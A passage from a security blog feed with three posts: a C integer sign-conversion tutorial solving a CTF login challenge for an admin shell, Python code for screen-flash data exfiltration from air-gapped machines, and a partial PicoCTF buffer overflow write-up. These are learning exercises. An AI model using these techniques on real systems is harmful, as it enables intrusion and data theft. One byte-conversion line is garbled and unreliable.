<p>Now, let's consider the value <code>-6</code>. We can start by converting <code>6</code> into binary, which gives us 0110. Next, we invert all the bits, resulting in <code>1001</code>. Finally, we add 1 to this inverted value, yielding <code>1010.</code> So, the final representation of -6 in Two's Complement is <code>1010</code>.</p>
<pre><code class="lang-c">Base <span class="hljs-number">10</span>:     <span class="hljs-number">-6</span>
-----------------
<span class="hljs-number">6</span> in binary: <span class="hljs-number">0110</span>
Inverted:    <span class="hljs-number">1001</span>
Add <span class="hljs-number">1</span>:       <span class="hljs-number">1010</span>
-----------------
Final represntation:   <span class="hljs-number">1010</span>
</code></pre>
<h3 id="heading-how-sign-conversion-works">How Sign Conversion Works</h3>
<p>How can we weaponize this in C? When performing sign conversions in C, it involves a direct translation with no bit swapping. As a result, the sign bit is also directly translated, potentially leading to an unexpected value.</p>
<pre><code class="lang-c">Enter the first corresponding type index: <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">short</span> <span class="hljs-keyword">int</span>
Enter the second corresponding type index: <span class="hljs-keyword">short</span> <span class="hljs-keyword">int</span>
Enter original Value: <span class="hljs-number">65500</span> 
Original Unsigned Short Int Value: <span class="hljs-number">65500</span>
Converted to Short Int Value: <span class="hljs-number">-36</span>
</code></pre>
<p>Let's look at the conversion in binary:</p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">short</span> <span class="hljs-title">int</span> <span class="hljs-params">(<span class="hljs-number">2</span> bytes)</span>: 1111111111011100 <span class="hljs-comment">//65500</span>
<span class="hljs-keyword">short</span> <span class="hljs-title">int</span>          <span class="hljs-params">(<span class="hljs-number">2</span> Bytes)</span>: 1111111111011100 <span class="hljs-comment">//-36</span></span>
</code></pre>
<p>The sign bit was directly translated to the <code>short int</code>, which is a signed data type. Which gives us a value of -36.</p>
<h2 id="heading-widening-conversion-promotion"><strong>Widening Conversion (Promotion)</strong></h2>
<p>This process occurs when a value is converted to a data type with a larger range. When converting from a smaller type to a larger type and the original type is unsigned, it fills all extra bits with 0. If the original type is signed, it uses the sign's bit value and copies it into the extra bits of the new type.</p>
<pre><code class="lang-c">NEGATIE CONVERSION
Enter the first corresponding type index: <span class="hljs-keyword">short</span> <span class="hljs-keyword">int</span>
Enter the second corresponding type index: <span class="hljs-keyword">int</span>
Original Short Int Value: <span class="hljs-number">-5</span>  <span class="hljs-comment">//                  |1111111111111011</span>
Converted to Int Value: <span class="hljs-number">-5</span>    <span class="hljs-comment">//  1111111111111111|1111111111111011</span>

POSTIVE CONVERSION
Enter the first corresponding type: <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">short</span> <span class="hljs-keyword">int</span>
Enter the second corresponding type: <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span>
Original Short Int Value: <span class="hljs-number">5</span>  <span class="hljs-comment">//                  |0000000000000101</span>
Converted to Int Value: <span class="hljs-number">5</span>    <span class="hljs-comment">//  0000000000000000|0000000000000101</span>
</code></pre>
<p>There are no issues when widening the data type, provided the destination data type maintains the same sign convention (either signed or unsigned) as the source data type. Errors occur when there is a disparity in the sign representation between the source and destination data types.</p>
<pre><code class="lang-c">Enter the first corresponding type index: <span class="hljs-keyword">short</span> <span class="hljs-keyword">int</span>
Enter the second corresponding type index: <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> 
Enter original Value: <span class="hljs-number">-9</span>
Original Short Int Value: <span class="hljs-number">-9</span>               <span class="hljs-comment">//                 |1111111111110111</span>
Converted to Unsigned Int Value: <span class="hljs-number">4294967287</span><span class="hljs-comment">// 1111111111111111|1111111111110111</span>
</code></pre>
<h2 id="heading-example-downunderflowhttpsgithubcomdownunderctfchallenges2023publictreemainbeginnerdownunderflow"><a target="_blank" href="https://github.com/DownUnderCTF/Challenges_2023_Public/tree/main/beginner/downunderflow">Example: Downunderflow</a></h2>
<p>Now, here's a CTF challenge that applies these principles. I suggest trying to work out the solution before peeking below.</p>
<pre><code class="lang-c"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdlib.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;string.h&gt;</span></span>

<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> USERNAME_LEN 6</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> NUM_USERS 8</span>
<span class="hljs-keyword">char</span> logins[NUM_USERS][USERNAME_LEN] = { <span class="hljs-string">"user0"</span>, <span class="hljs-string">"user1"</span>, <span class="hljs-string">"user2"</span>, <span class="hljs-string">"user3"</span>, <span class="hljs-string">"user4"</span>, <span class="hljs-string">"user5"</span>, <span class="hljs-string">"user6"</span>, <span class="hljs-string">"admin"</span> };

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">init</span><span class="hljs-params">()</span> </span>{
    setvbuf(<span class="hljs-built_in">stdout</span>, <span class="hljs-number">0</span>, <span class="hljs-number">2</span>, <span class="hljs-number">0</span>);
    setvbuf(<span class="hljs-built_in">stdin</span>, <span class="hljs-number">0</span>, <span class="hljs-number">2</span>, <span class="hljs-number">0</span>);
}

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">read_int_lower_than</span><span class="hljs-params">(<span class="hljs-keyword">int</span> bound)</span> </span>{
    <span class="hljs-keyword">int</span> x;
    <span class="hljs-built_in">scanf</span>(<span class="hljs-string">"%d"</span>, &amp;x);
    <span class="hljs-keyword">if</span>(x &gt;= bound) {
        <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Invalid input!"</span>);
        <span class="hljs-built_in">exit</span>(<span class="hljs-number">1</span>);
    }
    <span class="hljs-keyword">return</span> x;
}

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{
    init();

    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Select user to log in as: "</span>);
    <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">short</span> idx = read_int_lower_than(NUM_USERS - <span class="hljs-number">1</span>);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Logging in as %s\n"</span>, logins[idx]);
    <span class="hljs-keyword">if</span>(<span class="hljs-built_in">strncmp</span>(logins[idx], <span class="hljs-string">"admin"</span>, <span class="hljs-number">5</span>) == <span class="hljs-number">0</span>) {
        <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Welcome admin."</span>);
        system(<span class="hljs-string">"/bin/sh"</span>);
    } <span class="hljs-keyword">else</span> {
        system(<span class="hljs-string">"/bin/date"</span>);
    }
}
</code></pre>
<p>The core program flow can be summarised as follows:</p>
<ol>
<li><p>The program begins by defining an array of usernames (logins) and initialising it with 8 usernames, one of which is "admin."</p>
</li>
<li><p>It then prompts the user to input an index corresponding to the user they wish to access.</p>
</li>
<li><p>The program utilises the "read_int_lower_than()" function, which performs the following steps:</p>
<p> a) Reads an integer input from the user.<br /> b) Checks if the input is greater than 7. If it is, an error message is displayed, and the program exits.<br /> c) It will return the index number.</p>
</li>
<li><p>If the selected index is "admin," the program spawns a shell.</p>
</li>
</ol>
<p>Additionally, in the provided code, the "read_int_lower_than()" function returns an <code>integer</code>, which is then assigned to the variable "idx," with the type of an <code>unsigned short int</code>.</p>
<p>If we can somehow supply a number that will pass an <code>int</code> through the condition "less than 7" and when converted from an <code>int</code> to an <code>unsigned short int</code> gives us 7, we will be able to get the shell.</p>
<p>To achieve an unsigned integer value of 7 from a converted integer, we know:</p>
<ul>
<li><p>The first 16 bits of data are discarded during the conversion. This includes the MSB.</p>
</li>
<li><p>The <code>int</code> value must be less than 7.</p>
</li>
<li><p>The last 4 bits should equal 0111.</p>
</li>
</ul>
<p>Since an int is signed, we can make it negative, fulfilling the condition that the int value must be less than 7. Now we need to construct a number that equals 7 when converted from an int to an <code>unsigned short int</code>. Let's make it in binary:<br />1000 0000 0000 0000 0000 0000 0000 0111</p>
<p>In this case, the second to the 16th bits can be junk, while the last 4 bits equal 0111. This results in the integer number of -2147483641, which fulfils both conditions.</p>
<pre><code class="lang-bash">.\a
Select user to <span class="hljs-built_in">log</span> <span class="hljs-keyword">in</span> as: -2147483641 
Logging <span class="hljs-keyword">in</span> as admin
Welcome admin.
</code></pre>
<h2 id="heading-more-examples">More Examples:</h2>
<p>This website <a target="_blank" href="https://www.informit.com/articles/article.aspx?p=686170&amp;seqNum=7">here</a> is full of in-depth examples.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Thanks for reading this article. If you have any questions you can dm me. I will aim to try and get a new article out every 1-2 weeks, with the next article about buffer overflows.</p>
<p>Credits:</p>
<p><a target="_blank" href="https://trailofbits.github.io/ctf/vulnerabilities/references/Dowd_ch06.pdf">C Language Issues</a></p>
<p><a target="_blank" href="https://www.informit.com/articles/article.aspx?p=686170&amp;seqNum=5">C Language Issues for Application Security</a></p>
]]></content:encoded></item><item><title><![CDATA[Exfiltrating Data using Light]]></title><description><![CDATA[While reading the news, I have seen a lot of people try exfiltrating data from compromised systems that are air-gapped using a variety of different methods whether it is from light, vibrations or sound. I thought it would be an interesting project to...]]></description><link>https://colej.net/exfiltrating-data-using-light</link><guid isPermaLink="true">https://colej.net/exfiltrating-data-using-light</guid><category><![CDATA[Python]]></category><category><![CDATA[hacking]]></category><category><![CDATA[hack]]></category><category><![CDATA[Python 3]]></category><category><![CDATA[python beginner]]></category><dc:creator><![CDATA[Joshua Cole]]></dc:creator><pubDate>Sun, 05 Feb 2023 23:03:33 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/Kj2SaNHG-hg/upload/70a6785f21952d95997530012accbec5.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>While reading the news, I have seen a lot of people try exfiltrating data from compromised systems that are air-gapped using a variety of different methods whether it is from light, vibrations or sound. I thought it would be an interesting project to try and exfiltrate some data by flashing different colours on a monitor.</p>
<h2 id="heading-the-basic-idea">The Basic Idea</h2>
<p>The basic idea is getting a screen to flash certain colours in a certain combination and record it using a camera. Then I could get a python script to analyze the video and if the screen flashes red then the bit is 1 and if the screen is blue then the bit is 0 and if it is neither it is a separator which is shown as "|". I can then run this through a program that will reconstruct it to its original message. Simple in concept, but a bit more annoying to figure out.</p>
<h2 id="heading-the-code">The Code</h2>
<h3 id="heading-projecting-the-message">Projecting the Message</h3>
<p>This code converts text into binary data (8-bit binary letters) and displays it on a turtle graphics window in the form of flashes of red, blue, and green colours. Red represents 1, blue represents 0 and green the meant to be the separator between the two. Through the use of the parser, the user can change the message, the speed between the flashes of colour and the waiting period before and after the message. The binary representation of the message and the time taken to display it are also printed in the console.</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> time
<span class="hljs-keyword">import</span> turtle
<span class="hljs-keyword">from</span> argparse <span class="hljs-keyword">import</span> ArgumentParser

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">splash</span>(<span class="hljs-params">pause, wait, message</span>):</span>
    wn=turtle.Screen()
    wn.setup(width=<span class="hljs-number">1.0</span>, height=<span class="hljs-number">1.0</span>)
    data_in_binary = <span class="hljs-string">""</span>
    wn.bgcolor(<span class="hljs-string">"green"</span>)
    time.sleep(wait)
    time1 = time.time()
    <span class="hljs-keyword">for</span> letter <span class="hljs-keyword">in</span> message:
        <span class="hljs-keyword">for</span> bit <span class="hljs-keyword">in</span> format(ord(letter), <span class="hljs-string">'#010b'</span>)[<span class="hljs-number">2</span>:]: <span class="hljs-comment">#8-bit binary letter</span>
            <span class="hljs-keyword">if</span> bit == <span class="hljs-string">"1"</span>:
                wn.bgcolor(<span class="hljs-string">"red"</span>)
                data_in_binary += <span class="hljs-string">"1"</span>
                time.sleep(pause)
            <span class="hljs-keyword">else</span>:
                wn.bgcolor(<span class="hljs-string">"blue"</span>)
                data_in_binary += <span class="hljs-string">"0"</span>
                time.sleep(pause)
            end_time = time.time() 
            wn.bgcolor(<span class="hljs-string">"green"</span>)
            time.sleep(pause)
    print(data_in_binary)
    print(<span class="hljs-string">"time elapsed: "</span>,end_time-time1)
    print(<span class="hljs-string">"bits: "</span>, len(message)*<span class="hljs-number">8</span>)
    wn.bgcolor(<span class="hljs-string">"green"</span>)
    time.sleep(wait)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>():</span>
    parser = ArgumentParser(description=<span class="hljs-string">"Light Binary Project Screen"</span>)


    parser.add_argument(<span class="hljs-string">"-m"</span>,<span class="hljs-string">"--message"</span>, 
                        action=<span class="hljs-string">"store"</span>, default=<span class="hljs-string">"testing123,"</span>,
                        help=<span class="hljs-string">"The message. The default is testing123"</span>
                        )
    parser.add_argument(<span class="hljs-string">"-s"</span>,<span class="hljs-string">"--speed"</span>, 
                        action=<span class="hljs-string">"store"</span>, default=<span class="hljs-number">0.2</span>,
                        help=<span class="hljs-string">"Pause between flashes of colour."</span>
                        )
    parser.add_argument(<span class="hljs-string">"-w"</span>,<span class="hljs-string">"--wait"</span>, 
                        action=<span class="hljs-string">"store"</span>, default=<span class="hljs-number">10</span>,
                        help=<span class="hljs-string">"Wait period before and after flashes."</span>
                        )


    args = parser.parse_args()
    <span class="hljs-keyword">try</span>:
        speed = float(args.speed)
        wait = float(args.wait)
    <span class="hljs-keyword">except</span>:
        print(<span class="hljs-string">"Please put a float for speed"</span>)
        exit() 

    splash(speed, wait, args.message)

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    main()
</code></pre>
<h3 id="heading-analyzing-the-video">Analyzing the video</h3>
<p>This code analyzes video data, either from a webcam or from a video file, and extracts binary data from the light values of an individual pixel in the frame of the video picked by the user. The extracted binary data is then processed to remove repetitive bits, remove noise, and finally converted to text format which is printed to the console. The user can specify the video source and the sensitivity.</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> cv2
<span class="hljs-keyword">from</span> argparse <span class="hljs-keyword">import</span> ArgumentParser

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">click_function</span>(<span class="hljs-params">event, x,y,flags,param</span>):</span>
    <span class="hljs-keyword">if</span> event == cv2.EVENT_LBUTTONDBLCLK:
        <span class="hljs-keyword">global</span> global_x, global_y, collection
        global_x = x
        global_y = y
        collection = <span class="hljs-literal">True</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">what_colour</span>(<span class="hljs-params">r,g,b</span>):</span>
    <span class="hljs-keyword">if</span> r &gt; <span class="hljs-number">245</span>-sens <span class="hljs-keyword">and</span> g &lt; <span class="hljs-number">10</span>+sens <span class="hljs-keyword">and</span> b &lt; <span class="hljs-number">10</span>+sens:
        <span class="hljs-keyword">return</span> <span class="hljs-string">"1"</span>
    <span class="hljs-keyword">elif</span> r &lt; <span class="hljs-number">10</span>+sens <span class="hljs-keyword">and</span> g &lt; <span class="hljs-number">10</span>+sens <span class="hljs-keyword">and</span> b &gt; <span class="hljs-number">245</span>-sens:
        <span class="hljs-keyword">return</span> <span class="hljs-string">"0"</span>
    <span class="hljs-keyword">else</span>:
        <span class="hljs-keyword">return</span> <span class="hljs-string">"|"</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">format</span>(<span class="hljs-params">string</span>):</span>
    <span class="hljs-keyword">if</span> string == <span class="hljs-string">""</span>:
        <span class="hljs-keyword">return</span> <span class="hljs-string">"NO INFO GIVEN"</span>

    <span class="hljs-comment"># Removing consecutive repeating bits</span>
    format = <span class="hljs-string">""</span> 
    current_bit = string[<span class="hljs-number">0</span>]
    current_count = <span class="hljs-number">0</span>
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(len(string)):
        <span class="hljs-keyword">if</span> string[i] == current_bit:
            current_count += <span class="hljs-number">1</span>
        <span class="hljs-keyword">else</span>:
            <span class="hljs-keyword">if</span> current_count &gt;= fuzzy:
                format += current_bit
            current_bit, current_count = string[i], <span class="hljs-number">1</span>
    <span class="hljs-keyword">if</span> current_count &gt;= fuzzy:
        format += current_bit

    <span class="hljs-comment"># Removing "|"</span>
    stripped = format.replace(<span class="hljs-string">"|"</span>, <span class="hljs-string">""</span>)

    <span class="hljs-comment"># Adding space every 8 bits</span>
    formatted_binary = <span class="hljs-string">' '</span>.join(stripped[i:i+<span class="hljs-number">8</span>] <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">0</span>, len(stripped), <span class="hljs-number">8</span>) )

    <span class="hljs-comment"># Converting 8-bit binary to uefi</span>
    text = <span class="hljs-string">""</span>.join(chr(int(byte, <span class="hljs-number">2</span>)) <span class="hljs-keyword">for</span> byte <span class="hljs-keyword">in</span> formatted_binary.split())

    print(<span class="hljs-string">"\n\n\n\n\n\n\n\n"</span>)
    print(<span class="hljs-string">"Binary: "</span>, formatted_binary)  
    print(<span class="hljs-string">"Text: "</span>, text)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">webcam</span>(<span class="hljs-params">camera_id</span>):</span>
    raw = <span class="hljs-string">""</span>
    collection,raw = <span class="hljs-literal">False</span>, <span class="hljs-string">""</span>
    vid = cv2.VideoCapture(camera_id)
    print(<span class="hljs-string">"Camera's up"</span>)

    <span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>: 
        _, frame = vid.read()        
        cv2.imshow(<span class="hljs-string">"image"</span>, frame)
        cv2.setMouseCallback(<span class="hljs-string">'image'</span>,click_function) 

        b,g,r = frame[global_y,global_x]

        <span class="hljs-keyword">if</span> collection:
            bit = what_colour(r, g, b)
            print(bit,end=<span class="hljs-string">""</span>)
            raw += bit
        <span class="hljs-keyword">if</span> cv2.waitKey(<span class="hljs-number">1</span>) &amp; <span class="hljs-number">0xFF</span> == ord(<span class="hljs-string">'q'</span>):
            <span class="hljs-keyword">break</span>

    vid.release()
    <span class="hljs-comment"># Destroy all the windows</span>
    cv2.destroyAllWindows()
    format(raw)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">analyze_file</span>(<span class="hljs-params">file_location</span>):</span>
    raw = <span class="hljs-string">""</span>
    <span class="hljs-keyword">global</span> collection
    collection = <span class="hljs-literal">False</span>
    <span class="hljs-comment">#Get first frame</span>
    video = cv2.VideoCapture(file_location)
    video.set(cv2.CAP_PROP_POS_FRAMES, <span class="hljs-number">0</span>)
    ret, img = video.read() 

    <span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:
        cv2.imshow(<span class="hljs-string">"image"</span>, img)
        cv2.setMouseCallback(<span class="hljs-string">"image"</span>, click_function)
        <span class="hljs-keyword">if</span> cv2.waitKey(<span class="hljs-number">1</span>) &amp; <span class="hljs-number">0xFF</span> == ord(<span class="hljs-string">"q"</span>) <span class="hljs-keyword">or</span> collection:
            <span class="hljs-keyword">break</span>

    <span class="hljs-comment"># close the windowy</span>
    cv2.destroyAllWindows()

    video = cv2.VideoCapture(file_location)
    success, img = video.read()

    <span class="hljs-keyword">while</span> success:
        b,g,r = img[global_y,global_x]        
        bit = what_colour(r, g, b)
        print(bit,end=<span class="hljs-string">""</span>)
        raw += bit
        <span class="hljs-comment"># read next frame</span>
        success, img = video.read()
    format(raw)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>():</span>
    parser = ArgumentParser(description=<span class="hljs-string">"Light Binary for Reading light"</span>)

    parser.add_argument(<span class="hljs-string">"-c"</span>,<span class="hljs-string">"--camera"</span>, 
                        action=<span class="hljs-string">"store"</span>, default=<span class="hljs-number">0</span>, choices=(<span class="hljs-string">"0"</span>,<span class="hljs-string">"1"</span>,<span class="hljs-string">"2"</span>,<span class="hljs-string">"3"</span>),
                        help=<span class="hljs-string">"Different camera"</span>
                        )
    parser.add_argument(<span class="hljs-string">"-f"</span>,<span class="hljs-string">"--file"</span>, 
                        action=<span class="hljs-string">"store"</span>, default=<span class="hljs-literal">None</span>,
                        help=<span class="hljs-string">"video file address file."</span>
                        )
    parser.add_argument(<span class="hljs-string">"-rgb"</span>, 
                        action=<span class="hljs-string">"store"</span>, default=<span class="hljs-number">90</span>,
                        help=<span class="hljs-string">"RGB Senstivity"</span>
                        )
    parser.add_argument(<span class="hljs-string">"-sens"</span>, <span class="hljs-string">"-senstivity"</span>,
                        action=<span class="hljs-string">"store"</span>, default=<span class="hljs-number">1</span>,
                        help=<span class="hljs-string">"senstivity gets rid of single bit pickups. If you got a good camera you can go to 0"</span>)
    args = parser.parse_args()

    <span class="hljs-keyword">try</span>:
        <span class="hljs-keyword">global</span> sens,fuzzy,raw
        sens = int(args.rgb)
        fuzzy = int(args.sens)
        raw = <span class="hljs-string">""</span>
    <span class="hljs-keyword">except</span>:
        print(<span class="hljs-string">"failed"</span>)
        exit()

    <span class="hljs-keyword">if</span> args.file != <span class="hljs-literal">None</span>:
        analyze_file(args.file)
    <span class="hljs-keyword">else</span>:
        webcam(int(args.camera))

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    main()
</code></pre>
<h2 id="heading-improvements">Improvements</h2>
<p>One improvement is splitting up the screen into multiple sections and having multiple streams concurrently showing. This could at least double the speed at which information is shown. This would add an extra level of complexity but with added speed, it is definitely worth the thought.</p>
<p>Another possible improvement is getting rid of the separator colour of green. This would be quite a complex task but it would at least speed up the process by 33%. This would also enable me to just use a flashing light or colour to communicate data. This would be a fun future project.</p>
<h2 id="heading-final-notes">Final Notes</h2>
<p>Overall this was a fun project. If you want to try out this project you can find it <a target="_blank" href="https://github.com/Dingo418/light-binary">here</a> on my GitHub. You will also find out some test videos on my GitHub. If you have any questions you can always leave a comment below or feel free to reach out to me on Twitter at @dingo418.</p>
]]></content:encoded></item><item><title><![CDATA[PicoCTF 2022: Buffer Overflow 1]]></title><description><![CDATA[Intro
This is a write-up for PicoCTF 2022: Buffer Overflow 1. This is one of my favourite challenges to do. I recommend solving it for yourself before you read this write-up.
What is a Buffer Overflow?
Before we get started we need to first know what...]]></description><link>https://colej.net/picoctf-2022-buffer-overflow-1</link><guid isPermaLink="true">https://colej.net/picoctf-2022-buffer-overflow-1</guid><category><![CDATA[memory]]></category><category><![CDATA[hacking]]></category><category><![CDATA[CTF]]></category><category><![CDATA[beginner]]></category><category><![CDATA[Python]]></category><dc:creator><![CDATA[Joshua Cole]]></dc:creator><pubDate>Fri, 30 Sep 2022 02:15:28 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1664504586730/tKTd7Q3Wi.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-intro">Intro</h2>
<p>This is a write-up for PicoCTF 2022: Buffer Overflow 1. This is one of my favourite challenges to do. I recommend solving it for yourself before you read this write-up.</p>
<h2 id="heading-what-is-a-buffer-overflow">What is a Buffer Overflow?</h2>
<p>Before we get started we need to first know what a buffer overflow is.</p>
<p>In a portion of your memory, you have a section called the stack. The Stack holds most of the temporary methods, local variables, and reference variables.</p>
<p>Inside the stack, there are 3 sections: the Buffer, Base Pointer, and Return address. Currently, we only need to worry about the Buffer and Return address. The Buffer is only a certain size, but what happens when we "smash the stack" and go over the Buffer? If there is no protection, we can overwrite the Base Pointer and more importantly the return address. This means we can point the return address to any method or piece of code we want. If you want to learn more, click <a target="_blank" href="https://www.imperva.com/learn/application-security/buffer-overflow/">here</a>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1664264828969/IQy2fZM15.png" alt="image.png" />
Credit:  <a target="_blank" href="https://enscribe.dev/ctfs/pico22/pwn/buffer-overflow-series/#I-Explaining-the-Stack-%F0%9F%92%AC">enscribe.dev</a></p>
<h2 id="heading-conducting-the-buffer-overflow">Conducting the Buffer Overflow</h2>
<p>The very first thing we need to do is run checksec to find any Buffer Overflow protections.</p>
<pre><code>┌──(kali㉿desktop)-[<span class="hljs-regexp">/media/</span>…/Shared File/Pico CTF/<span class="hljs-number">2022</span>/Buffer Overflow <span class="hljs-number">1</span>]
└─$ checksec ./vuln
[*] <span class="hljs-string">'/media/kali/Shared File/Pico CTF/2022/Buffer Overflow 1/vuln'</span>
    <span class="hljs-attr">Arch</span>:     i386<span class="hljs-number">-32</span>-little
    <span class="hljs-attr">RELRO</span>:    Partial RELRO
    <span class="hljs-attr">Stack</span>:    No canary found
    <span class="hljs-attr">NX</span>:       NX disabled
    <span class="hljs-attr">PIE</span>:      No PIE (<span class="hljs-number">0x8048000</span>)
    <span class="hljs-attr">RWX</span>:      Has RWX segments
</code></pre><p>In this case, there are no protections.</p>
<h3 id="heading-checking-the-code">Checking the code</h3>
<pre><code>#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;unistd.h&gt;
#include &lt;sys/types.h&gt;
#include <span class="hljs-string">"asm.h"</span>

#define BUFSIZE <span class="hljs-number">32</span>
#define FLAGSIZE <span class="hljs-number">64</span>

<span class="hljs-keyword">void</span> win() {
  char buf[FLAGSIZE];
  FILE *f = fopen(<span class="hljs-string">"flag.txt"</span>,<span class="hljs-string">"r"</span>);
  <span class="hljs-keyword">if</span> (f == NULL) {
    printf(<span class="hljs-string">"%s %s"</span>, <span class="hljs-string">"Please create 'flag.txt' in this directory with your"</span>,
                    <span class="hljs-string">"own debugging flag.\n"</span>);
    exit(<span class="hljs-number">0</span>);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

<span class="hljs-keyword">void</span> vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf(<span class="hljs-string">"Okay, time to return... Fingers Crossed... Jumping to 0x%x\n"</span>, get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, <span class="hljs-number">0</span>);

  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts(<span class="hljs-string">"Please enter your string: "</span>);
  vuln();
  <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre><p>If we look in the <code>vuln()</code> function we can see it uses the <code>gets()</code> function. If we can overwrite the return address with the <code>win()</code> 's function return address, we can make it execute the <code>win()</code>'s function and get the flag.</p>
<h3 id="heading-finding-the-offset">Finding the offset</h3>
<p>The next thing we need to do is find the offset for the buffer. The hard way would be to keep on guessing the offset until it crashes, but there is an easier way to do it. We can use msfvenom's pattern creation tool. This creates a unique cyclic pattern bigger than the buffer size. When it crashes we read the return address. This return address will have a unique cyclic pattern that we can trace.</p>
<pre><code>┌──(kali㉿desktop)-[<span class="hljs-regexp">/media/</span>…/Shared File/Pico CTF/<span class="hljs-number">2022</span>/Buffer Overflow <span class="hljs-number">1</span>]
└─$ msf-pattern_create -l <span class="hljs-number">200</span>                                                                                                                                                                                        
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

┌──(kali㉿desktop)-[<span class="hljs-regexp">/media/</span>…/Shared File/Pico CTF/<span class="hljs-number">2022</span>/Buffer Overflow <span class="hljs-number">1</span>]
└─$ echo <span class="hljs-string">"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"</span> | ./vuln
Please enter your string: 
Okay, time to <span class="hljs-keyword">return</span>... Fingers Crossed... Jumping to <span class="hljs-number">0x35624134</span>
<span class="hljs-attr">zsh</span>: done                echo  | 
zsh: segmentation fault  ./vuln

┌──(kali㉿desktop)-[<span class="hljs-regexp">/media/</span>…/Shared File/Pico CTF/<span class="hljs-number">2022</span>/Buffer Overflow <span class="hljs-number">1</span>]
└─$ msf-pattern_offset  -q <span class="hljs-number">0x35624134</span>                                                                                                                                                                                       
[*] Exact match at offset <span class="hljs-number">44</span>
</code></pre><p>One important thing to note. This program uses Little Endian encoding. This means all the bytes for the memory address will be flipped as shown in the below image.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1664266409056/fh_65rtnn.png" alt="image.png" />
Credit: <a target="_blank" href="https://www.geeksforgeeks.org/little-and-big-endian-mystery/">Little and Big Endian Mystery</a>, geeksforgeeks</p>
<h4 id="heading-manually-finding-the-buffer-size">Manually finding the buffer size</h4>
<p>Below is how to figure out the offset manually. It is important to know how to do it manually to fully understand it.</p>
<pre><code># Remember <span class="hljs-built_in">this</span> is outputted <span class="hljs-keyword">in</span> Little Endian so when need to re-arrange it
<span class="hljs-number">0x35624134</span> --&gt;\xf6\x91\x04\x08

# Converting <span class="hljs-keyword">from</span> hex to UEFI
\xf6\x91\x04\x08 --&gt; <span class="hljs-number">4</span>Ab5

# Finding the offset
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab|<span class="hljs-number">4</span>Ab5|
</code></pre><h4 id="heading-checking-the-offset">Checking the offset</h4>
<p>To check that the offset is 44, we can run the following command:</p>
